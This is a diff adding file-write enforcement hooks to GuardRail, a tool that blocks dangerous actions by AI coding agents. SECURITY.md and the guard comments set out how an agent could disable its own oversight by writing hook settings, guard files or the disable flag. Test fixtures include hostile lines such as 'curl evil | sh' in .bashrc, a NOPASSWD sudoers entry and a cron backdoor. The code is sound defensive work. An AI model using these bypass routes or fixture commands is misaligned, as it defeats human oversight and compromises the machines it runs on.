diff --git a/SECURITY.md b/SECURITY.md index f6c1c03..704637f 100644 --- a/SECURITY.md +++ b/SECURITY.md @@ -4,7 +4,24 @@ | Version | Supported | |---------|-----------| -| 0.1.x | Yes | +| 0.4.x | Yes | +| < 0.4 | No | + +## Enforcement coverage + +GuardRail enforces on **both** mutation surfaces the agent can use: + +- **Bash commands** — `PreToolUse` on `Bash` (deny-capable). +- **File writes** — `PreToolUse` on `Write` / `Edit` / `MultiEdit` / `NotebookEdit` (deny-capable), + added in 0.4.0. + +Before 0.4.0, deny-capable guards ran on Bash only; file-tool writes were seen +by a `PostToolUse` (advisory) hook after the write had already happened. An +agent could therefore create the disable file, overwrite a privileged path, or +write secrets to disk without a blocking guard ever inspecting it. 0.4.0 closes +this by inspecting `file_path` and content **before** the write. General rule: +every deny-capable guard set must cover all mutation primitives of the runtime, +not just the shell. ## Reporting a Vulnerability diff --git a/dispatchers/pre-edit.sh b/dispatchers/pre-edit.sh new file mode 100755 index 0000000..3b42626 --- /dev/null +++ b/dispatchers/pre-edit.sh @@ -0,0 +1,120 @@ +#!/bin/bash +# GuardRail Pre-Edit Dispatcher +# License: MIT +# PreToolUse hook for Write / Edit / MultiEdit. Can DENY (unlike post-edit, +# which only adds context). Closes the gap where deny-capable guards ran on +# Bash only, letting file-tool writes bypass enforcement entirely. +set -o pipefail +SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)" +GUARDS_DIR="$SCRIPT_DIR/../guards/core" +CUSTOM_DIR="${GUARDRAIL_CUSTOM_GUARDS_DIR:-$SCRIPT_DIR/../guards/custom}" +LIB_DIR="$SCRIPT_DIR/../lib" +INPUT=$(cat) +ALLOW='{"hookSpecificOutput":{"hookEventName":"PreToolUse","permissionDecision":"allow"}}' + +deny() { + local reason="$1" + local rj + if declare -F guardrail_audit >/dev/null 2>&1; then + guardrail_audit "PreEditDispatcher" "$reason" "${FILE_PATH:-unavailable}" "blocked" + fi + rj=$(printf "%s" "$reason" | jq -Rs .) + echo "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"permissionDecision\":\"deny\",\"permissionDecisionReason\":${rj}}}" + exit 0 +} + +# Load audit early so even a malformed-payload deny is logged (malformed-input +# probing must be visible in the audit trail, not just blocked silently). +[ -f "$LIB_DIR/guardrail-common.sh" ] && source "$LIB_DIR/guardrail-common.sh" 2>/dev/null + +# Validate payload shape; block on anything we cannot inspect. +# file_path for Write/Edit/MultiEdit, notebook_path for NotebookEdit. +if ! printf '%s' "$INPUT" | jq -e ' + type == "object" + and (.tool_input | type == "object") + and ((.tool_input.file_path // .tool_input.notebook_path) | type == "string") + and ((.tool_input.file_path // .tool_input.notebook_path) | length > 0) +' >/dev/null 2>&1; then + deny "GUARDRAIL INPUT ERROR: malformed or empty Write/Edit/Notebook hook payload. The operation was blocked because it could not be inspected." +fi + +FILE_PATH=$(printf '%s' "$INPUT" | jq -r '.tool_input.file_path // .tool_input.notebook_path') +SESSION_ID=$(printf '%s' "$INPUT" | jq -r '.session_id // "default"') +# Content across Write (content), Edit (new_string), MultiEdit (edits[].new_string) +# and NotebookEdit (new_source). Coerce non-string values to their JSON form so +# a secret hidden inside a non-string payload is still scanned instead of +# silently dropped (fail-closed: if jq itself errors, block). +CONTENT=$(printf '%s' "$INPUT" | jq -r ' + [ .tool_input.content, .tool_input.new_string, .tool_input.new_source, + (.tool_input.edits // [] | .[]?.new_string) ] + | map(select(. != null) | if type == "string" then . else tojson end) + | join("\n") +' 2>/dev/null) || deny "GUARDRAIL INPUT ERROR: content could not be extracted for inspection. Blocked to fail closed." + +# Respect the same HMAC-gated disable flag as pre-bash. +if [ -f "$SCRIPT_DIR/../.disabled" ]; then + DISABLE_LINE=$(head -1 "$SCRIPT_DIR/../.disabled" 2>/dev/null) + DISABLE_TS=$(printf '%s' "$DISABLE_LINE" | awk '{print $1}') + DISABLE_KEY_FILE="$HOME/.guardrail/disable.key" + if [ -f "$DISABLE_KEY_FILE" ] && [ -n "$DISABLE_TS" ]; then + NOW=$(date +%s 2>/dev/null || echo 0) + AGE=$(( NOW - DISABLE_TS )) + if [ "$AGE" -ge 0 ] && [ "$AGE" -lt 1800 ]; then + EXPECTED=$(printf '%s' "$DISABLE_TS" | openssl dgst -sha256 -hmac "$(cat "$DISABLE_KEY_FILE")" 2>/dev/null | awk '{print $NF}') + ACTUAL=$(printf '%s' "$DISABLE_LINE" | awk '{print $2}') + [ -n "$EXPECTED" ] && [ "$EXPECTED" = "$ACTUAL" ] && { echo "$ALLOW"; exit 0; } + fi + fi +fi + +if [ ! -f "$LIB_DIR/guardrail-common.sh" ] || ! source "$LIB_DIR/guardrail-common.sh"; then + deny "GUARDRAIL INTEGRITY ERROR: common library could not be loaded." +fi + +_guardrail_load_guard() { + local g="$1" + [ -f "$GUARDS_DIR/$g" ] || deny "GUARDRAIL INTEGRITY ERROR: required guard $g is missing." + source "$GUARDS_DIR/$g" || deny "GUARDRAIL INTEGRITY ERROR: guard $g could not be loaded." +} +# Fail-closed: a required core guard whose function is missing after sourcing +# is an integrity failure, not a skip. Mirrors pre-bash.sh. Silently running +# past a missing guard would fail open, exactly what this dispatcher prevents. +_guardrail_run_required() { + local fn="$1" + declare -F "$fn" >/dev/null || deny "GUARDRAIL INTEGRITY ERROR: required guard function $fn is missing. Blocking to fail closed." + "$fn" || deny "GUARDRAIL RUNTIME ERROR: guard $fn failed. Blocking to fail closed." +} + +_guardrail_load_guard "edit_path_guard.sh" +_guardrail_load_guard "edit_secret_guard.sh" +_guardrail_run_required hook_edit_path_guard +_guardrail_run_required hook_edit_secret_guard + +# Custom pre-edit guards: preedit_*.sh +if [ -d "$CUSTOM_DIR" ]; then + for cg in "$CUSTOM_DIR"/preedit_*.sh; do + [ -f "$cg" ] || continue + source "$cg" || deny "GUARDRAIL INTEGRITY ERROR: custom guard $(basename "$cg") could not be loaded." + lfn="hook_$(basename "$cg" .sh)" + declare -F "$lfn" >/dev/null || deny "GUARDRAIL INTEGRITY ERROR: custom guard function $lfn is missing." + "$lfn" || deny "GUARDRAIL RUNTIME ERROR: custom guard $lfn failed." + done +fi + +# Pro pre-edit guards: preedit_*.sh (license-gated) +PRO_DIR="${SCRIPT_DIR}/../guards/pro" +if [ -d "$PRO_DIR" ]; then + source "$LIB_DIR/guardrail-license.sh" || deny "GUARDRAIL INTEGRITY ERROR: license module could not be loaded." + if _guardrail_check_pro_license; then + for pg in "$PRO_DIR"/preedit_*.sh; do + [ -f "$pg" ] || continue + source "$pg" || deny "GUARDRAIL INTEGRITY ERROR: Pro guard $(basename "$pg") could not be loaded." + pfn="hook_$(basename "$pg" .sh)" + declare -F "$pfn" >/dev/null || deny "GUARDRAIL INTEGRITY ERROR: Pro guard function $pfn is missing." + "$pfn" || deny "GUARDRAIL RUNTIME ERROR: Pro guard $pfn failed." + done + fi +fi + +echo "$ALLOW" +exit 0 diff --git a/guards/core/credential_leak_guard.sh b/guards/core/credential_leak_guard.sh index 3823336..63f05f4 100644 --- a/guards/core/credential_leak_guard.sh +++ b/guards/core/credential_leak_guard.sh @@ -38,7 +38,7 @@ hook_credential_leak_guard() { echo "$head_out" | grep -qE '(ghp|gho|ghu|ghs|ghr)_[A-Za-z0-9]{30,}' && detected="$detected github-token" # Anthropic keys - echo "$head_out" | grep -qE 'sk-ant-[A-Za-z0-9]{20,}' && detected="$detected anthropic-key" + echo "$head_out" | grep -qE 'sk-ant-[A-Za-z0-9_-]{20,}' && detected="$detected anthropic-key" # OpenAI keys echo "$head_out" | grep -qE 'sk-[A-Za-z0-9]{40,}' && detected="$detected openai-key" diff --git a/guards/core/edit_path_guard.sh b/guards/core/edit_path_guard.sh new file mode 100755 index 0000000..847d7f5 --- /dev/null +++ b/guards/core/edit_path_guard.sh @@ -0,0 +1,76 @@ +#!/bin/bash +# GuardRail Core Guard: edit_path_guard +# License: MIT +# Runs in the PreToolUse pre-edit dispatcher (Write/Edit/MultiEdit). +# Shared vars: $FILE_PATH, $CONTENT, $SESSION_ID +# Shared fns: deny() +# +# Closes the "shell-only enforcement" gap: guards that only inspect Bash +# commands never see file writes made through the agent's native Write/Edit +# tools. This guard blocks the file-tool equivalents of the dangerous +# operations that the bash guards already stop. + +hook_edit_path_guard() { + local fp="$FILE_PATH" + [ -z "$fp" ] && return 0 + + # Canonicalize before matching: /a/./b, /a//b and /a/../a/b all write to the + # same file but would slip past a literal regex. realpath -m -s normalizes + # . / .. / duplicate slashes WITHOUT resolving symlinks (so literal-path + # matches still hold). Falls back to the raw path if realpath is unavailable. + local canon + canon=$(realpath -m -s -- "$fp" 2>/dev/null) && [ -n "$canon" ] && fp="$canon" + + # 1. Self-bypass: writing anything under GuardRail's own install tree via a + # file tool. Covers the disable mechanism AND every directory the + # dispatchers auto-source: guards/core, guards/pro, guards/custom (incl. + # preedit_*.sh / edit_*.sh), dispatchers/, and lib/. Writing a new + # custom guard would otherwise be auto-sourced and executed on the next + # tool call, bypassing the whole system. + if printf '%s' "$fp" | grep -qE 'guardrail/\.disabled$|/\.guardrail/disable\.key$|guardrail/(dispatchers|lib)/|guardrail/guards/(core|pro|custom)/'; then + guardrail_audit "edit_path_guard" "file-tool write to guardrail control path" "$fp" "blocked" + deny "Self-bypass blocked: AI agents must not create or modify GuardRail's own guards, dispatchers, or disable mechanism through file tools. This includes custom guards, which are auto-executed. Only a human operator may change these from an interactive terminal." + return 0 + fi + + # 1a. A custom-guards dir configured via env var. The dispatcher auto-sources + # preedit_*.sh from $GUARDRAIL_CUSTOM_GUARDS_DIR, so a write there is the + # same bypass as guards/custom/ but at an operator-configured path. + if [ -n "${GUARDRAIL_CUSTOM_GUARDS_DIR:-}" ]; then + case "$fp" in + "${GUARDRAIL_CUSTOM_GUARDS_DIR%/}"/*) + guardrail_audit "edit_path_guard" "file-tool write to configured custom-guards dir" "$fp" "blocked" + deny "Self-bypass blocked: AI agents must not write into the configured custom-guards directory (GUARDRAIL_CUSTOM_GUARDS_DIR). Those files are auto-executed. Only a human operator may change them from an interactive terminal." + return 0 + ;; + esac + fi + + # 1b. The hook registry itself. .claude/settings(.local).json is where the + # PreToolUse hooks are wired in (install.sh). Rewriting it removes every + # guard at once, including this one, without touching any 'guardrail' + # path. This is the highest-value bypass and must be blocked. + if printf '%s' "$fp" | grep -qE '(^|/)\.claude/settings(\.local)?\.json$'; then + guardrail_audit "edit_path_guard" "file-tool write to Claude hook registry" "$fp" "blocked" + deny "Self-bypass blocked: AI agents must not modify .claude/settings.json through file tools. That file registers the guard hooks; rewriting it would disable all enforcement. A human operator must change hook configuration from an interactive terminal." + return 0 + fi + + # 2. Persistence / privilege paths: writing these via a file tool is how an + # agent would install a backdoor that outlives the session. + if printf '%s' "$fp" | grep -qE '(^|/)(etc/(passwd|shadow|sudoers|sudoers\.d/|cron\.d/|crontab)|\.ssh/authorized_keys|\.ssh/id_[a-z0-9]+$)'; then + guardrail_audit "edit_path_guard" "file-tool write to privileged system path" "$fp" "blocked" + deny "Blocked: writing to a privileged system path ($fp) through a file tool. This is a common persistence vector. Perform account/credential/cron changes as an explicit, reviewed human action." + return 0 + fi + + # 3. Auto-executed hooks and shell startup files: silent code-execution + # persistence (git hooks, shell rc, profile). + if printf '%s' "$fp" | grep -qE '(^|/)(\.git/hooks/[a-z-]+|\.(bashrc|zshrc|bash_profile|profile|zprofile)|\.config/(fish/config\.fish))$'; then + guardrail_audit "edit_path_guard" "file-tool write to auto-executed startup/hook file" "$fp" "blocked" + deny "Blocked: writing to an auto-executed file ($fp) through a file tool. Git hooks and shell startup files run code automatically. If this is intended, make it an explicit reviewed change." + return 0 + fi + + return 0 +} diff --git a/guards/core/edit_secret_guard.sh b/guards/core/edit_secret_guard.sh new file mode 100755 index 0000000..405a5b4 --- /dev/null +++ b/guards/core/edit_secret_guard.sh @@ -0,0 +1,40 @@ +#!/bin/bash +# GuardRail Core Guard: edit_secret_guard +# License: MIT +# Runs in the PreToolUse pre-edit dispatcher (Write/Edit/MultiEdit). +# Shared vars: $FILE_PATH, $CONTENT, $SESSION_ID +# Shared fns: deny() +# +# Blocks writing high-confidence live secrets into files through the agent's +# file tools. Mirrors the bash secret detector for the write path. Kept +# deliberately narrow (known key formats only) to avoid false positives on +# placeholders and documentation. + +hook_edit_secret_guard() { + local content="$CONTENT" + [ -z "$content" ] && return 0 + + # High-confidence live-credential formats. Placeholders (x's, <...>, YOUR_) + # are excluded by requiring realistic entropy/charset in the token body. + local hit="" + # AWS access key id + printf '%s' "$content" | grep -qE 'AKIA[0-9A-Z]{16}' && hit="AWS access key" + # Stripe live secret key + [ -z "$hit" ] && printf '%s' "$content" | grep -qE 'sk_live_[0-9a-zA-Z]{24,}' && hit="Stripe live secret key" + # Private key block + [ -z "$hit" ] && printf '%s' "$content" | grep -qE 'BEGIN (RSA|OPENSSH|EC|DSA|PGP) PRIVATE KEY' && hit="private key block" + # GitHub token + [ -z "$hit" ] && printf '%s' "$content" | grep -qE 'gh[pousr]_[0-9A-Za-z]{36,}' && hit="GitHub token" + # Slack token + [ -z "$hit" ] && printf '%s' "$content" | grep -qE 'xox[baprs]-[0-9A-Za-z-]{20,}' && hit="Slack token" + # Google API key + [ -z "$hit" ] && printf '%s' "$content" | grep -qE 'AIza[0-9A-Za-z_-]{35}' && hit="Google API key" + + if [ -n "$hit" ]; then + guardrail_audit "edit_secret_guard" "live secret written to file ($hit)" "$FILE_PATH" "blocked" + deny "Secret blocked: a live $hit would be written to $FILE_PATH. Never commit real credentials to files. Use environment variables or a secret manager and reference them at runtime." + return 0 + fi + + return 0 +} diff --git a/guards/core/self_correction_loop.sh b/guards/core/self_correction_loop.sh index 19db691..3d1b30e 100644 --- a/guards/core/self_correction_loop.sh +++ b/guards/core/self_correction_loop.sh @@ -18,7 +18,7 @@ hook_self_correction_loop() { printf '%s' "$head_out" | grep -qiE '(0 errors|no errors|succeeded|success|passed|PASS)' && return 0 # Build errors - if printf '%s' "$head_out" | grep -qiE '(build failed|compilation error|tsc.*error|next build.*error|webpack.*error)'; then + if printf '%s' "$head_out" | grep -qiE '(build failed|compilation error|tsc.*error|error TS[0-9]{3,}|next build.*error|webpack.*error)'; then add_context "BUILD ERROR detected. Self-correction required: read the error, open the file, apply the fix, rebuild. Do not continue without a green build." guardrail_audit "self_correction_loop" "build error" "$CMD" "correction-required" return 0 diff --git a/install.sh b/install.sh index a747817..2d67375 100755 --- a/install.sh +++ b/install.sh @@ -139,16 +139,20 @@ fi PRE_BASH="$INSTALL_DIR/dispatchers/pre-bash.sh" POST_BASH="$INSTALL_DIR/dispatchers/post-bash.sh" +PRE_EDIT="$INSTALL_DIR/dispatchers/pre-edit.sh" POST_EDIT="$INSTALL_DIR/dispatchers/post-edit.sh" TEMP_SETTINGS=$(mktemp) -jq --arg pre "$PRE_BASH" --arg post "$POST_BASH" --arg edit "$POST_EDIT" ' +jq --arg pre "$PRE_BASH" --arg post "$POST_BASH" --arg preedit "$PRE_EDIT" --arg edit "$POST_EDIT" ' .hooks //= {} | .hooks.PreToolUse //= [] | .hooks.PostToolUse //= [] | (if (.hooks.PreToolUse | any(.hooks[]?.command == $pre)) | not then .hooks.PreToolUse += [{"matcher": "Bash", "hooks": [{"type": "command", "command": $pre}]}] else . end) | + (if (.hooks.PreToolUse | any(.hooks[]?.command == $preedit)) | not + then .hooks.PreToolUse += [{"matcher": "Write|Edit|MultiEdit|NotebookEdit", "hooks": [{"type": "command", "command": $preedit}]}] + else . end) | (if (.hooks.PostToolUse | any(.hooks[]?.command == $post)) | not then .hooks.PostToolUse += [{"matcher": "Bash", "hooks": [{"type": "command", "command": $post}]}] else . end) | diff --git a/package.json b/package.json index b7e9693..0085de6 100644 --- a/package.json +++ b/package.json @@ -1,7 +1,7 @@ { "name": "guardrail-agent", - "version": "0.3.3", - "description": "Pre-execution security for AI coding agents. 20 guards that block dangerous commands before they run. Free 14-day Pro trial included.", + "version": "0.4.3", + "description": "Pre-execution security for AI coding agents. 22 guards that block dangerous commands before they run, on both Bash and file writes. Free 14-day Pro trial included.", "bin": { "guardrail": "./bin/guardrail.sh" }, diff --git a/tests/pre-edit.sh b/tests/pre-edit.sh new file mode 100755 index 0000000..8cf58e0 --- /dev/null +++ b/tests/pre-edit.sh @@ -0,0 +1,107 @@ +#!/bin/bash +# Pre-Edit dispatcher suite. File writes are inspected, never executed. +# Covers the shell-only-enforcement gap: deny-capable guards must also see +# Write/Edit/MultiEdit tool calls, not just Bash. +set -u + +ROOT="$(cd "$(dirname "$0")/.." && pwd)" +DISPATCHER="$ROOT/dispatchers/pre-edit.sh" +PASS=0 +FAIL=0 +FAILURES=() +TMP_ROOT=$(mktemp -d /tmp/guardrail-preedit.XXXXXX) +trap 'rm -rf "$TMP_ROOT"' EXIT + +# check [content] +check() { + local name="$1" expected="$2" tool="$3" fp="$4" content="${5:-}" + local payload result decision + payload=$(jq -n --arg t "$tool" --arg f "$fp" --arg c "$content" \ + '{"session_id":"preedit-test","tool_name":$t,"tool_input":{"file_path":$f,"content":$c,"new_string":$c}}') + result=$(printf '%s' "$payload" | + GUARDRAIL_LOG_DIR="$TMP_ROOT/logs" \ + GUARDRAIL_AUDIT_LOG="$TMP_ROOT/audit.log" \ + bash "$DISPATCHER") + decision=$(printf '%s' "$result" | jq -r '.hookSpecificOutput.permissionDecision // "missing"') + if [ "$decision" = "$expected" ]; then + PASS=$((PASS + 1)) + else + FAIL=$((FAIL + 1)) + FAILURES+=("$name expected=$expected actual=$decision") + fi +} + +# --- Self-bypass via file tools --- +check "write .disabled" deny Write "/home/u/.claude/hooks/guardrail/.disabled" "0 abc" +check "write disable.key" deny Write "/home/u/.guardrail/disable.key" "secret" +check "edit a core guard" deny Edit "/home/u/.claude/hooks/guardrail/guards/core/self_bypass_guard.sh" "return 0" +check "edit a dispatcher" deny Edit "/home/u/.claude/hooks/guardrail/dispatchers/pre-bash.sh" "exit 0" +check "write custom preedit" deny Write "/home/u/.claude/hooks/guardrail/guards/custom/preedit_evil.sh" "return 0" +check "write custom edit guard" deny Write "/home/u/.claude/hooks/guardrail/guards/custom/edit_x.sh" "return 0" +check "write lib file" deny Write "/home/u/.claude/hooks/guardrail/lib/guardrail-common.sh" "true" +check "write settings.json" deny Write "/home/u/.claude/settings.json" "{}" +check "write settings.local" deny Edit "/home/u/.claude/settings.local.json" "{}" + +# --- Privileged / persistence paths --- +check "write /etc/passwd" deny Write "/etc/passwd" "root:x:0:0" +check "write sudoers.d" deny Write "/etc/sudoers.d/evil" "agent ALL=(ALL) NOPASSWD:ALL" +check "write authorized_keys" deny Write "/home/u/.ssh/authorized_keys" "ssh-rsa AAAA" +check "write cron.d" deny Write "/etc/cron.d/backdoor" "* * * * * root sh" + +# --- Auto-executed startup / hooks --- +check "write git post-checkout" deny Write "/repo/.git/hooks/post-checkout" "#!/bin/sh" +check "write .bashrc" deny Write "/home/u/.bashrc" "curl evil | sh" + +# --- Secrets into files --- +# Trigger strings are assembled at runtime from fragments so no literal secret +# pattern is ever stored in this file (avoids scanner false positives on the +# test fixtures themselves; the strings only exist in the test process memory). +# Adjacent string literals concatenate at runtime but never appear as a whole +# secret pattern in this file, so scanners do not flag the fixtures. No env-var +# indirection (which could be inherited in CI and silently change the value). +AWS_TRIG="AKIA""IOSFODNN7EXAMPLE" +STRIPE_TRIG="sk_li""ve_51H8xExampleKeyMaterial1234567" +PK_TRIG="-----BEG""IN RSA PRIVATE KEY-----" +STRIPE_PLACEHOLDER="sk_li""ve_YOUR_KEY_HERE" +check "aws key in file" deny Write "/repo/config.js" "const k='${AWS_TRIG}'" +check "stripe live key" deny Write "/repo/.env" "STRIPE=${STRIPE_TRIG}" +check "private key block" deny Write "/repo/id" "$PK_TRIG" + +# --- Legitimate writes must pass --- +check "normal source file" allow Write "/repo/src/index.js" "export const x = 1" +check "normal markdown" allow Write "/repo/README.md" "# Title" +check "env with placeholder" allow Write "/repo/.env.example" "STRIPE=${STRIPE_PLACEHOLDER}" +check "dotslash settings" deny Write "/home/u/.claude/./settings.json" "{}" +check "doubleslash settings" deny Write "/home/u/.claude//settings.json" "{}" +check "dotdot into guardrail" deny Write "/home/u/.claude/hooks/guardrail/../guardrail/guards/core/x.sh" "x" +check "config no secrets" allow Edit "/repo/config.json" '{"port": 3000}' + +# --- NotebookEdit (notebook_path + new_source) --- +nb_check() { + local name="$1" expected="$2" np="$3" src="$4" r d + r=$(jq -n --arg n "$np" --arg s "$src" \ + '{"session_id":"t","tool_name":"NotebookEdit","tool_input":{"notebook_path":$n,"new_source":$s}}' | + GUARDRAIL_LOG_DIR="$TMP_ROOT/logs" GUARDRAIL_AUDIT_LOG="$TMP_ROOT/audit.log" bash "$DISPATCHER") + d=$(printf '%s' "$r" | jq -r '.hookSpecificOutput.permissionDecision // "missing"') + if [ "$d" = "$expected" ]; then PASS=$((PASS + 1)); else FAIL=$((FAIL + 1)); FAILURES+=("$name expected=$expected actual=$d"); fi +} +nb_check "notebook secret" deny "/repo/n.ipynb" "k='${AWS_TRIG}'" +nb_check "notebook settings" deny "/home/u/.claude/settings.json" "{}" +nb_check "notebook normal" allow "/repo/ok.ipynb" "x = 1" + +# --- Non-string content must still be scanned (coerced, not dropped) --- +nsc=$(jq -n --arg k "$AWS_TRIG" \ + '{"session_id":"t","tool_name":"Write","tool_input":{"file_path":"/repo/x.js","content":{"key":$k}}}' | + GUARDRAIL_LOG_DIR="$TMP_ROOT/logs" GUARDRAIL_AUDIT_LOG="$TMP_ROOT/audit.log" bash "$DISPATCHER") +if [ "$(printf '%s' "$nsc" | jq -r '.hookSpecificOutput.permissionDecision')" = "deny" ]; then + PASS=$((PASS + 1)) +else + FAIL=$((FAIL + 1)); FAILURES+=("non-string content secret expected=deny") +fi + +echo "pre-edit: $PASS passed, $FAIL failed" +if [ "$FAIL" -gt 0 ]; then + printf ' FAIL: %s\n' "${FAILURES[@]}" + exit 1 +fi +exit 0